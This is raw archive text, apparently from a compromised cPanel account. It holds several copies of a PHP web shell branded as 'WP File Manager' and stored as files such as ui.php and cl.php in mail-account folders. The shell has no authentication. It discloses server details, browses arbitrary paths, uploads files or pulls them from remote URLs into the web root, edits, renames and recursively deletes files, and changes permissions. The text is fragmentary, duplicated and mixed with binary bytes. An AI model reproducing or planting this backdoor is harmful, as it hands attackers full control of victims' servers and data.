"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëerona@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]�÷MBBlmpdes@bleje.net/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book [calendar] calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. protected 1 type VCALENDAR PK“&{]„N9³§Ë§Ëlmpdes@bleje.net/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } 